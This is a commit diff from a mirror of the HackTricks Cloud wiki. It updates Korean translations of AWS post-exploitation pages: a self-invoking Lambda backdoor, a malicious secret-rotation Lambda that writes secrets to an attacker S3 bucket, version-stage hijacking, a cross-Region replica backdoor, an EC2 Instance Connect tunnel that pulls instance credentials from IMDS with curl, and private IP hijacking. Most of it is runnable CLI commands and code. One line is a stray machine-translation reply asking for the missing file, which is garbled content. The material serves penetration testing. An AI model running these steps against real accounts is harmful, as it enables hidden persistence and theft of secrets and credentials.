mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 15:50:19 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
File diff suppressed because one or more lines are too long
@@ -1,25 +1,27 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
노트
|
||||
- Lambda는 함수를 직접 자신의 destination으로 설정하는 것을 허용하지 않습니다. destination으로 함수 alias를 사용하고, execution role에 해당 alias를 invoke할 수 있도록 허용하세요.
|
||||
- 최소 권한: 대상 함수의 event invoke config 및 recursion config를 읽고 업데이트할 수 있는 권한, 버전 publish 및 alias 관리 권한, 그리고 alias에 대해 lambda:InvokeFunction을 허용하도록 함수의 execution role 정책을 업데이트할 수 있는 권한.
|
||||
Lambda의 비동기 Destinations과 Recursion 설정을 악용하여 외부 스케줄러(예: EventBridge, cron 등) 없이 함수가 지속적으로 자기 자신을 재호출하도록 만들 수 있다. 기본적으로 Lambda는 재귀 루프를 종료하지만, recursion config를 Allow로 설정하면 재귀 호출이 다시 가능해진다. Destinations는 비동기 invoke에 대해 서비스 측에서 전달을 처리하므로, 단 한 번의 seed invoke로 코드 없는 은밀한 heartbeat/backdoor 채널을 만들 수 있다. 원하면 reserved concurrency로 스로틀링하여 잡음을 줄일 수 있다.
|
||||
|
||||
## 요구사항
|
||||
Notes
|
||||
- Lambda는 함수 자체를 직접 목적지로 설정하는 것을 허용하지 않는다. 대신 function alias를 목적지로 사용하고 execution role이 해당 alias를 invoke할 수 있도록 허용하라.
|
||||
- 최소 권한: 대상 함수의 event invoke config 및 recursion config를 읽고/업데이트할 수 있는 권한, 버전 publish 및 alias 관리 권한, 그리고 execution role policy를 업데이트해 alias에 대해 lambda:InvokeFunction을 허용할 수 있는 권한.
|
||||
|
||||
## Requirements
|
||||
- Region: us-east-1
|
||||
- 변수:
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## 단계
|
||||
## Steps
|
||||
|
||||
1) 함수 ARN과 현재 recursion 설정 확인
|
||||
1) Get function ARN and current recursion setting
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) 버전을 게시하고 alias를 생성/업데이트합니다 (self destination으로 사용됨)
|
||||
2) 버전을 게시하고 별칭을 생성/업데이트 (자기 자신 대상으로 사용됨)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
@@ -29,7 +31,7 @@ aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-vers
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) 함수 실행 역할이 별칭을 호출할 수 있도록 허용 (Lambda Destinations→Lambda에서 필요)
|
||||
3) 함수 실행 역할이 alias를 호출하도록 허용(필요: Lambda Destinations→Lambda)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) async destination을 alias(self via alias)로 설정하고 retries를 비활성화
|
||||
4) 비동기 대상(async destination)을 alias(자기 자신을 alias를 통해)로 구성하고 재시도를 비활성화하세요.
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
@@ -58,12 +60,12 @@ aws lambda put-function-event-invoke-config \
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) 재귀 루프를 허용
|
||||
5) 재귀 루프 허용
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) 단일 비동기 invoke 시드
|
||||
6) 단일 비동기 invoke 생성
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
@@ -73,7 +75,7 @@ aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) 선택적 은밀 속도 제한
|
||||
8) 선택적 은밀 제한
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
@@ -89,4 +91,5 @@ ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## 영향
|
||||
- 단일 async invoke는 외부 스케줄러 없이 Lambda가 지속적으로 자체 re-invoke되게 하여 은밀한 persistence/heartbeat를 가능하게 합니다. Reserved concurrency는 노이즈를 단일 warm execution으로 제한할 수 있습니다.
|
||||
- 단일 async invoke는 외부 스케줄러 없이 Lambda가 지속적으로 자기 자신을 재호출하게 하여 은밀한 persistence/heartbeat를 가능하게 한다. Reserved concurrency는 소음을 단일 warm execution으로 제한할 수 있다.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,24 +1,22 @@
|
||||
# AWS - Secrets Manager 지속성
|
||||
# AWS - Secrets Manager Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 리소스 정책을 통해
|
||||
### Via Resource Policies
|
||||
|
||||
리소스 정책을 통해 외부 계정에 **secrets에 대한 접근 권한을 부여할 수 있습니다**. 자세한 내용은 [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md)를 확인하세요. 외부 계정이 **secret에 접근**하려면 해당 secret을 암호화한 **KMS key에 대한 접근 권한**도 필요하다는 점에 유의하세요.
|
||||
리소스 정책을 통해 외부 계정에 **secrets에 대한 접근 권한을 부여할 수 있습니다**. 자세한 내용은 [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md)를 확인하세요. 외부 계정이 **secret에 접근하려면**, 해당 secret을 암호화하는 **KMS 키에 대한 접근 권한**도 필요합니다.
|
||||
|
||||
### Secrets Rotate Lambda를 통해
|
||||
### Via Secrets Rotate Lambda
|
||||
|
||||
시크릿을 자동으로 **rotate**하기 위해 구성된 **Lambda**가 호출됩니다. 공격자가 **코드**를 **변경**할 수 있다면 새 시크릿을 직접 **exfiltrate the new secret**할 수 있습니다.
|
||||
|
||||
This is how lambda code for such action could look like:
|
||||
비밀을 자동으로 회전시키기 위해 구성된 **Lambda**가 호출됩니다. 공격자가 **코드(code)**를 **변경(change)**할 수 있다면, 그는 새 secret을 자신에게 직접 **exfiltrate the new secret**할 수 있습니다.
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -48,26 +46,20 @@ import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### RotateSecret을 통해 rotation Lambda를 공격자 제어 함수로 교체
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### RotateSecret를 통해 rotation Lambda를 공격자 제어 함수로 전환
|
||||
|
||||
`secretsmanager:RotateSecret`를 남용해 secret의 rotation을 공격자 제어 rotation Lambda로 재바인딩하고 즉시 rotation을 트리거합니다. 악의적인 함수는 rotation 단계(createSecret/setSecret/testSecret/finishSecret)에서 secret 버전들(AWSCURRENT/AWSPENDING)을 공격자 수신지(예: S3 또는 외부 HTTP)로 유출합니다.
|
||||
`secretsmanager:RotateSecret`을 악용하여 비밀을 공격자 제어 rotation Lambda에 재바인딩하고 즉시 rotation을 트리거합니다. 악성 함수는 rotation 단계(createSecret/setSecret/testSecret/finishSecret) 동안 비밀 버전(AWSCURRENT/AWSPENDING)을 공격자 싱크(예: S3 또는 외부 HTTP)로 exfiltrate합니다.
|
||||
|
||||
- Requirements
|
||||
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
|
||||
- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
|
||||
|
||||
- Impact
|
||||
- 공격자는 legit rotation 코드를 수정하지 않고도 secret 값을 획득합니다. rotation 구성만 공격자 Lambda를 가리키도록 변경됩니다. 탐지되지 않으면 예약된 이후의 rotation들 또한 공격자 함수가 계속 호출됩니다.
|
||||
- 공격자는 정식 rotation 코드 수정 없이 비밀 값을 획득합니다. rotation 구성만 공격자 Lambda를 가리키도록 변경됩니다. 탐지되지 않으면 향후 예정된 rotation도 계속 공격자 함수를 호출합니다.
|
||||
|
||||
- Attack steps (CLI)
|
||||
1) Prepare attacker sink and Lambda role
|
||||
- Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed).
|
||||
- Exfiltration용 S3 버킷과 비밀을 읽고 S3에 쓸 수 있는 권한(및 로그/KMS 권한 등)이 있는 Lambda가 신뢰하는 실행 역할을 생성합니다.
|
||||
2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
|
||||
3) Rebind rotation and trigger
|
||||
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
|
||||
@@ -102,23 +94,23 @@ write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
|
||||
# Minimal rotation (optional): copy current->pending and promote in finishSecret
|
||||
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
|
||||
```
|
||||
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
|
||||
### Version Stage Hijacking — 은밀한 지속성 (custom stage + fast AWSCURRENT flip)
|
||||
|
||||
Abuse Secrets Manager 버전 스테이징 레이블을 악용하여 공격자가 제어하는 시크릿 버전을 심고 프로덕션은 기존의 `AWSCURRENT`을 계속 사용하는 동안 커스텀 스테이지(예: `ATTACKER`) 아래에 숨겨 둡니다. 언제든 `AWSCURRENT`을 공격자 버전으로 이동시켜 의존하는 워크로드를 오염시킨 뒤, 감지 가능성을 최소화하기 위해 복원할 수 있습니다. 이렇게 하면 시크릿 이름이나 rotation 구성은 변경하지 않으면서 은밀한 백도어 영속성과 빠른 사용 시점 조작이 가능합니다.
|
||||
Secrets Manager의 version staging labels를 악용해 공격자가 제어하는 secret version을 심고, production이 원래의 `AWSCURRENT`를 계속 사용할 동안 커스텀 스테이지(예: `ATTACKER`) 아래에 숨겨둡니다. 언제든 `AWSCURRENT`를 공격자 버전으로 이동시켜 종속된 워크로드를 오염시키고, 탐지를 최소화하기 위해 다시 복원할 수 있습니다. 이렇게 하면 secret 이름이나 rotation config를 변경하지 않고도 은밀한 backdoor persistence와 빠른 사용 시점 조작이 가능합니다.
|
||||
|
||||
- Requirements
|
||||
- 권한: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (검증용)
|
||||
- 대상 secret id가 해당 리전에 있어야 함.
|
||||
- 대상 secret id (해당 Region).
|
||||
|
||||
- Impact
|
||||
- 숨겨진 공격자 제어 시크릿 버전을 유지하고 필요 시 `AWSCURRENT`를 해당 버전으로 원자적으로 전환하여 동일한 시크릿 이름을 해석하는 모든 소비자에 영향을 미칠 수 있습니다. 전환과 빠른 복원은 탐지 가능성을 낮추면서 사용 시점 침해를 가능하게 합니다.
|
||||
- 숨겨진 공격자 제어 버전의 secret을 유지하고 필요 시 원자적으로 `AWSCURRENT`를 해당 버전으로 전환하여 같은 secret 이름을 해석하는 모든 소비자에 영향을 줍니다. 빠른 전환과 즉시 복구는 탐지 가능성을 줄이면서 사용 시점 타협을 가능하게 합니다.
|
||||
|
||||
- Attack steps (CLI)
|
||||
- Preparation
|
||||
- `export SECRET_ID=<target secret id or arn>`
|
||||
|
||||
<details>
|
||||
<summary>CLI 명령</summary>
|
||||
<summary>CLI 명령어</summary>
|
||||
```bash
|
||||
# 1) Capture current production version id (the one holding AWSCURRENT)
|
||||
CUR=$(aws secretsmanager list-secret-version-ids \
|
||||
@@ -167,24 +159,24 @@ aws secretsmanager update-secret-version-stage \
|
||||
```
|
||||
</details>
|
||||
|
||||
- 참고
|
||||
- 노트
|
||||
- `--client-request-token`을 제공하면 Secrets Manager는 이를 `VersionId`로 사용합니다. `--version-stages`를 명시적으로 설정하지 않고 새 버전을 추가하면 기본적으로 `AWSCURRENT`가 새 버전으로 이동하고 이전 버전은 `AWSPREVIOUS`로 표시됩니다.
|
||||
|
||||
|
||||
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
|
||||
|
||||
Secrets Manager의 multi-Region replication을 악용하여 대상 secret의 replica를 감시가 덜한 Region으로 생성하고, 해당 Region에서 attacker-controlled KMS 키로 암호화한 다음, 그 replica를 standalone secret으로 승격시켜 permissive resource policy를 연결해 attacker에게 읽기 권한을 부여합니다. 원래 primary Region의 secret은 변경되지 않으므로, promoted replica를 통해 secret 값에 지속적이고 은밀한 접근을 확보할 수 있으며 primary의 KMS/policy 제약을 우회합니다.
|
||||
Secrets Manager의 multi-Region replication을 악용하여 대상 secret의 복제본(replica)을 모니터링이 덜한 Region으로 생성하고, 해당 Region에서 공격자가 제어하는 KMS 키로 암호화한 뒤 복제본을 standalone secret으로 승격시키고 공격자에게 읽기 권한을 부여하는 관대한 resource policy를 연결합니다. 원래의 primary Region에 있는 secret은 변경되지 않아, 승격된 복제본을 통해 KMS/정책 제약을 우회하면서 영구적이고 은밀하게 secret 값에 접근할 수 있습니다.
|
||||
|
||||
- 요구사항
|
||||
- 요구 사항
|
||||
- 권한: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- replica Region에서: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (또는 `kms:PutKeyPolicy`)로 attacker principal이 `kms:Decrypt`를 수행할 수 있도록 허용.
|
||||
- promoted secret에 대한 읽기 액세스를 받을 attacker principal(user/role).
|
||||
- replica Region에서: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (또는 `kms:PutKeyPolicy`) — 공격자 principal이 `kms:Decrypt`를 수행할 수 있도록 허용.
|
||||
- 승격된 secret에 대한 읽기 액세스를 받을 공격자 principal(사용자/역할).
|
||||
|
||||
- 영향
|
||||
- attacker-controlled KMS CMK 및 permissive resource policy 하의 standalone replica를 통해 secret 값에 대한 영구적인 cross-Region 접근 경로가 생성됩니다. 원래 Region의 primary secret은 변경되지 않습니다.
|
||||
- 공격자가 제어하는 KMS CMK 및 관대한 리소스 정책 하의 standalone replica를 통해 secret 값에 대한 지속적인 교차-Region 접근 경로가 생깁니다. 원래 Region의 primary secret은 변경되지 않습니다.
|
||||
|
||||
- Attack (CLI)
|
||||
- Vars
|
||||
- 공격 (CLI)
|
||||
- 변수
|
||||
```bash
|
||||
export R1=<primary-region> # e.g., us-east-1
|
||||
export R2=<replica-region> # e.g., us-west-2
|
||||
@@ -192,7 +184,7 @@ export SECRET_ID=<secret name or ARN in R1>
|
||||
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
|
||||
```
|
||||
1) replica Region에 공격자가 제어하는 KMS 키를 생성
|
||||
1) replica Region에 attacker-controlled KMS key 생성
|
||||
```bash
|
||||
cat > /tmp/kms_policy.json <<'JSON'
|
||||
{"Version":"2012-10-17","Statement":[
|
||||
@@ -205,20 +197,20 @@ aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-
|
||||
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
|
||||
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
|
||||
```
|
||||
2) attacker KMS key를 사용해 secret을 R2로 복제
|
||||
2) attacker KMS key를 사용하여 secret을 R2로 복제
|
||||
```bash
|
||||
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
|
||||
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
|
||||
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
|
||||
```
|
||||
3) R2에서 복제본을 독립 인스턴스로 승격
|
||||
3) R2에서 레플리카를 독립 인스턴스로 승격
|
||||
```bash
|
||||
# Use the secret name (same across Regions)
|
||||
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
|
||||
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
|
||||
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
4) R2에 있는 독립형 secret에 관대한 리소스 정책을 적용하세요.
|
||||
4) R2에 있는 standalone secret에 permissive resource policy를 첨부
|
||||
```bash
|
||||
cat > /tmp/replica_policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
|
||||
@@ -226,9 +218,9 @@ JSON
|
||||
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
|
||||
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
5) R2에서 attacker principal의 secret 읽기
|
||||
5) R2에서 attacker principal로부터 secret 읽기
|
||||
```bash
|
||||
# Configure attacker credentials and read
|
||||
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,21 +2,21 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
EC2 Instance Connect Endpoint (EIC Endpoint)을 악용하여 퍼블릭 IP나 bastion이 없는 프라이빗 EC2 인스턴스에 대한 인바운드 SSH 접근을 획득합니다. 방법:
|
||||
다음과 같이 EC2 Instance Connect Endpoint (EIC Endpoint)을 악용하여 private EC2 instances (퍼블릭 IP나 bastion 없음)에 대한 인바운드 SSH 접근을 얻습니다:
|
||||
- 타깃 서브넷 내부에 EIC Endpoint 생성
|
||||
- EIC Endpoint SG로부터 타깃 SG에 대한 인바운드 SSH 허용
|
||||
- 짧은 수명의 SSH 공개키(유효 약 60초)를 `ec2-instance-connect:SendSSHPublicKey`로 주입
|
||||
- EIC 터널을 열어 인스턴스로 피벗하여 IMDS에서 인스턴스 프로파일 자격증명 탈취
|
||||
- EIC Endpoint SG에서 대상 SG로의 인바운드 SSH 허용
|
||||
- 짧은 유효기간(약 60초)의 SSH 공개키를 `ec2-instance-connect:SendSSHPublicKey`로 주입
|
||||
- EIC 터널을 열고 피벗하여 IMDS에서 instance profile 자격증명을 탈취
|
||||
|
||||
Impact: bastion과 public IP 제한을 우회하는 프라이빗 EC2 인스턴스에 대한 은밀한 원격 접근 경로. 공격자는 인스턴스 프로파일을 획득하여 계정 내에서 활동할 수 있습니다.
|
||||
Impact: bastion과 퍼블릭 IP 제한을 우회하는 private EC2 instances로의 은밀한 원격 접근 경로. 공격자는 instance profile을 가정하여 계정 내에서 활동할 수 있습니다.
|
||||
|
||||
## 요구사항
|
||||
## Requirements
|
||||
- 권한:
|
||||
- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
|
||||
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
|
||||
- SSH 서버가 실행 중이고 EC2 Instance Connect가 활성화된 대상 Linux 인스턴스 (Amazon Linux 2 또는 Ubuntu 20.04+). 기본 사용자: `ec2-user` (AL2) 또는 `ubuntu` (Ubuntu).
|
||||
- SSH 서버와 EC2 Instance Connect가 활성화된 대상 Linux 인스턴스 (Amazon Linux 2 또는 Ubuntu 20.04+). 기본 사용자: `ec2-user` (AL2) 또는 `ubuntu` (Ubuntu).
|
||||
|
||||
## 변수
|
||||
## Variables
|
||||
```bash
|
||||
export REGION=us-east-1
|
||||
export INSTANCE_ID=<i-xxxxxxxxxxxx>
|
||||
@@ -27,7 +27,7 @@ export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
|
||||
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
|
||||
export OS_USER=ec2-user
|
||||
```
|
||||
## EIC Endpoint 생성
|
||||
## EIC 엔드포인트 생성
|
||||
```bash
|
||||
aws ec2 create-instance-connect-endpoint \
|
||||
--subnet-id "$SUBNET_ID" \
|
||||
@@ -45,13 +45,13 @@ grep -q 'create-complete' EIC_STATE && break
|
||||
sleep 5
|
||||
done
|
||||
```
|
||||
## EIC Endpoint에서 대상 인스턴스로 트래픽 허용
|
||||
## EIC Endpoint에서 대상 인스턴스로의 트래픽 허용
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
```
|
||||
## 일시적 SSH 키 주입 및 터널 열기
|
||||
## 임시 SSH 키 삽입 및 터널 열기
|
||||
```bash
|
||||
# Generate throwaway key
|
||||
ssh-keygen -t ed25519 -f /tmp/eic -N ''
|
||||
@@ -79,7 +79,7 @@ ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
|
||||
```
|
||||
번역할 원문을 제공해 주세요. 파일 내용(또는 해당 Markdown)을 여기에 붙여넣어 주세요.
|
||||
I don't have the file content. Please paste the markdown text from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md that you want translated, and I will translate the English parts to Korean while preserving all code, tags, links and paths exactly.
|
||||
```json
|
||||
{
|
||||
"Code": "Success",
|
||||
@@ -89,7 +89,7 @@ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat R
|
||||
"Expiration": "2025-10-08T04:09:52Z"
|
||||
}
|
||||
```
|
||||
로컬에서 훔친 creds를 사용하여 신원을 확인:
|
||||
탈취한 creds를 로컬에서 사용해 신원 확인:
|
||||
```bash
|
||||
export AWS_ACCESS_KEY_ID=<AccessKeyId>
|
||||
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
|
||||
@@ -109,5 +109,6 @@ aws ec2 delete-instance-connect-endpoint \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
|
||||
```
|
||||
> 참고
|
||||
> - 주입된 SSH 키는 약 60초 동안만 유효합니다; 터널/SSH를 열기 직전에 키를 전송하세요.
|
||||
> - `OS_USER`는 AMI와 일치해야 합니다(예: `ubuntu`는 Ubuntu, `ec2-user`는 Amazon Linux 2).
|
||||
> - 주입된 SSH 키는 약 60초 동안만 유효합니다; tunnel/SSH를 열기 직전에 키를 전송하세요.
|
||||
> - `OS_USER`는 AMI와 일치해야 합니다(예: `ubuntu`는 Ubuntu의 경우, `ec2-user`는 Amazon Linux 2의 경우).
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
`ec2:UnassignPrivateIpAddresses`와 `ec2:AssignPrivateIpAddresses`를 악용해 victim ENI’s secondary private IP를 탈취하고 같은 subnet/AZ의 attacker ENI로 이동시킵니다. 많은 내부 서비스와 보안 그룹은 특정 프라이빗 IP로 접근을 제한합니다. 해당 secondary 주소를 이동하면 공격자는 L3에서 신뢰된 호스트를 가장해 allowlisted 서비스에 접근할 수 있습니다.
|
||||
악용 `ec2:UnassignPrivateIpAddresses` 및 `ec2:AssignPrivateIpAddresses`로 victim ENI의 secondary private IP를 탈취하여 동일한 subnet/AZ의 attacker ENI로 옮깁니다. 많은 내부 서비스와 security groups는 특정 private IP로 접근을 제어합니다. 해당 secondary address를 옮기면, 공격자는 L3에서 신뢰된 호스트로 가장하여 allowlisted 서비스에 접근할 수 있습니다.
|
||||
|
||||
Prereqs:
|
||||
- 권한: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` on the victim ENI ARN, and `ec2:AssignPrivateIpAddresses` on the attacker ENI ARN.
|
||||
- Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).
|
||||
- 권한: victim ENI ARN에 대한 `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses`, 그리고 attacker ENI ARN에 대한 `ec2:AssignPrivateIpAddresses`.
|
||||
- 두 ENI는 동일한 subnet/AZ에 있어야 합니다. 대상 주소는 secondary IP여야 합니다 (primary는 할당 해제할 수 없습니다).
|
||||
|
||||
Variables:
|
||||
- REGION=us-east-1
|
||||
@@ -16,35 +16,36 @@ Variables:
|
||||
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
|
||||
|
||||
Steps:
|
||||
1) victim ENI에서 secondary IP 하나를 선택합니다
|
||||
1) victim ENI에서 secondary IP를 선택합니다
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
|
||||
export HIJACK_IP=$(cat HIJACK_IP)
|
||||
```
|
||||
2) 보호된 호스트가 해당 IP만 허용하도록 설정하세요(멱등성). 대신 SG-to-SG 규칙을 사용하는 경우 건너뛰세요.
|
||||
2) 보호된 호스트가 해당 IP만 허용하도록 확인하세요 (멱등). 대신 SG-to-SG 규칙을 사용하는 경우에는 건너뛰세요.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
|
||||
```
|
||||
3) 기준: attacker instance에서 PROTECTED_HOST로의 요청은 spoofed source 없이 실패해야 함 (예: SSM/SSH)
|
||||
3) 기준: attacker instance에서 PROTECTED_HOST로의 request는 spoofed source 없이는 실패해야 한다 (예: SSM/SSH를 통해).
|
||||
```bash
|
||||
curl -sS --max-time 3 http://$PROTECTED_HOST || true
|
||||
```
|
||||
4) 피해자 ENI에서 보조 IP 할당 해제
|
||||
4) victim ENI에서 secondary IP 할당을 해제합니다
|
||||
```bash
|
||||
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
5) attacker ENI에 동일한 IP를 할당합니다 (AWS CLI v1에서는 `--allow-reassignment`을 추가)
|
||||
5) 공격자 ENI에 동일한 IP를 할당합니다 (AWS CLI v1에서는 `--allow-reassignment`를 추가)
|
||||
```bash
|
||||
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
6) 소유권이 이전되었는지 확인
|
||||
6) 소유권 이전 확인
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
|
||||
```
|
||||
